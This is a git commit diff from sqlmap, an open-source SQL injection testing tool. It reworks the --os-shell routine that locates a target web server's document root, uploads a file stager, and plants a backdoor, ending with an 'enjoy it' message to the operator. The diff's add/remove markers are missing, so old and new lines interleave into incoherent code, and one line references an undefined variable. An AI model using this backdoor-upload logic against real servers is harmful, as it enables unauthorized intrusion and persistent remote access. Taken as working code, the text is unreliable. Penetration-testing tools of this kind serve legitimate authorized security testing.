mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-03-03 19:55:47 +03:00
major revisit of --os-shell methods
This commit is contained in:
Miroslav Stampar
parent
ff7707579f
commit
b18397fbc7
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@ -204,17 +204,14 @@ def paramToDict(place, parameters=None):
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return testableParameters
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def getDocRoot(webApi=None):
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def getDocRoot():
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docRoot = None
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pagePath = directoryPath(conf.path)
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if kb.os == "Windows":
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if webApi in ("php", "jsp"):
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defaultDocRoot = "C:/xampp/htdocs/"
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defaultDocRoot = ["C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"]
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else:
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defaultDocRoot = "C:/Inetpub/wwwroot/"
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else:
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defaultDocRoot = "/var/www/"
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defaultDocRoot = ["/var/www/"]
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if kb.absFilePaths:
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for absFilePath in kb.absFilePaths:
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@ -227,7 +224,7 @@ def getDocRoot(webApi=None):
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if isWindowsPath(absFilePath):
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absFilePathWin = posixToNtSlashes(absFilePath)
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absFilePath = ntToPosixSlashes(absFilePath[2:])
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elif isWindowsDriveLetterPath(absFilePath): # E.g. C:/xampp/htdocs
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elif isWindowsDriveLetterPath(absFilePath):
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absFilePath = absFilePath[2:]
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if pagePath in absFilePath:
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@ -252,53 +249,43 @@ def getDocRoot(webApi=None):
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logger.warn(warnMsg)
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message = "please provide the web server document root "
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message += "[%s]: " % defaultDocRoot
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message += "[%s]: " % ",".join(root for root in defaultDocRoot)
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inputDocRoot = readInput(message, default=defaultDocRoot)
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if inputDocRoot:
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if isinstance(inputDocRoot, basestring):
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docRoot = inputDocRoot.split(',')
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else:
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docRoot = inputDocRoot
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else:
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docRoot = defaultDocRoot
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return docRoot
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def getDirs(webApi=None):
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directories = set()
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if kb.os == "Windows":
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if webApi in ("php", "jsp"):
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defaultDirs = ["C:/xampp/htdocs/"]
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else:
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defaultDirs = ["C:/Inetpub/wwwroot/"]
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else:
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defaultDirs = ["/var/www/"]
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if kb.docRoot and kb.docRoot not in defaultDirs:
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defaultDirs.append(kb.docRoot)
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def getDirs():
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directories = set("/")
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if kb.absFilePaths:
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infoMsg = "retrieved web server full paths: "
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infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
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infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
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logger.info(infoMsg)
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for absFilePath in kb.absFilePaths:
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if absFilePath:
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directory = directoryPath(absFilePath)
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if isWindowsPath(directory):
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directory = ntToPosixSlashes(directory)
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if directory == '/':
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continue
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directories.add(directory)
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else:
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warnMsg = "unable to retrieve any web server path"
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logger.warn(warnMsg)
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webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
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if webDir:
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directories.add(webDir)
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message = "please provide any additional web server full path to try "
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message += "to upload the agent [%s]: " % ",".join(directory for directory in defaultDirs)
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inputDirs = readInput(message, default=",".join(directory for directory in defaultDirs))
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message += "to upload the agent [Enter for None]: "
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inputDirs = readInput(message)
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if inputDirs:
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inputDirs = inputDirs.replace(", ", ",")
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@ -307,8 +294,6 @@ def getDirs(webApi=None):
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for inputDir in inputDirs:
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if inputDir:
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directories.add(inputDir)
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else:
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[directories.add(directory) for directory in defaultDirs]
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return directories
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@ -173,8 +173,8 @@ class Web:
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self.webApi = choices[int(choice) - 1]
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break
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kb.docRoot = getDocRoot(self.webApi)
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directories = getDirs(self.webApi)
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kb.docRoot = getDocRoot()
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directories = getDirs()
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directories = list(directories)
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directories.sort()
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@ -185,41 +185,60 @@ class Web:
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stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
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stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
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for directory in directories:
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# Upload the file stager
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self.__webFileInject(stagerContent, stagerName, directory)
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requestDir = ntToPosixSlashes(directory)
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warned = set()
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success = False
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if not requestDir:
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for i in xrange(len(kb.docRoot)):
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if success:
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break
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for j in xrange(len(directories)):
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docRoot = kb.docRoot[i]
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directory = directories[j]
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if not all(isinstance(item, basestring) for item in [docRoot, directory]):
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continue
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directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
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docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
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if requestDir[-1] != '/':
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requestDir += '/'
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# '' or '/' -> 'docRoot'
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if not directory:
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localPath = docRoot
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uriPath = '/'
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# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
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elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
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localPath = "%s/%s" % (docRoot, directory)
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uriPath = "/%s" % directory
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else:
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localPath = directory
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uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
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docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
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uriPath = uriPath.replace(docRoot, "/")
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uriPath = "/%s" % normalizePath(uriPath)
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uriPath = uriPath.replace("//", "/")
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requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/")
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localPath = localPath.rstrip('/')
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uriPath = uriPath.rstrip('/')
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if isWindowsDriveLetterPath(requestDir):
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requestDir = requestDir[2:]
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# Upload the file stager
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self.__webFileInject(stagerContent, stagerName, localPath)
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requestDir = normalizePath(requestDir).replace("//", "/")
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if requestDir[0] != '/':
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requestDir = '/' + requestDir
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self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
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self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
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self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
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self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/"))
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uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
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if "sqlmap file uploader" not in uplPage:
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if localPath not in warned:
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warnMsg = "unable to upload the file stager "
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warnMsg += "on '%s'" % directory
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warnMsg += "on '%s'" % localPath
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logger.warn(warnMsg)
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warned.add(localPath)
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continue
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elif "<%" in uplPage or "<?" in uplPage:
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warnMsg = "file stager uploaded "
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warnMsg += "on '%s' but not dynamically interpreted ('%s')" % (directory, self.webStagerUrl)
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warnMsg += "on '%s' but not dynamically interpreted" % uriPage
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logger.warn(warnMsg)
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continue
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@ -228,7 +247,7 @@ class Web:
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kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
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infoMsg = "the file stager has been successfully uploaded "
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infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl)
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infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
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logger.info(infoMsg)
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if self.webApi == "asp":
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@ -255,7 +274,7 @@ class Web:
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continue
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else:
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if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
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if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if kb.os == "Windows" else localPath):
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warnMsg = "backdoor has not been successfully uploaded "
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warnMsg += "with file stager probably because of "
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warnMsg += "lack of write permission."
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@ -266,16 +285,18 @@ class Web:
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getOutput = readInput(message, default="N")
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if getOutput in ("y", "Y"):
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self.__webFileInject(backdoorContent, backdoorName, directory)
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self.__webFileInject(backdoorContent, backdoorName, localPath)
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else:
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continue
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self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
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self.webDirectory = directory
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self.webDirectory = localPath
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infoMsg = "the backdoor has probably been successfully "
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infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
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infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
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logger.info(infoMsg)
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success = True
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break
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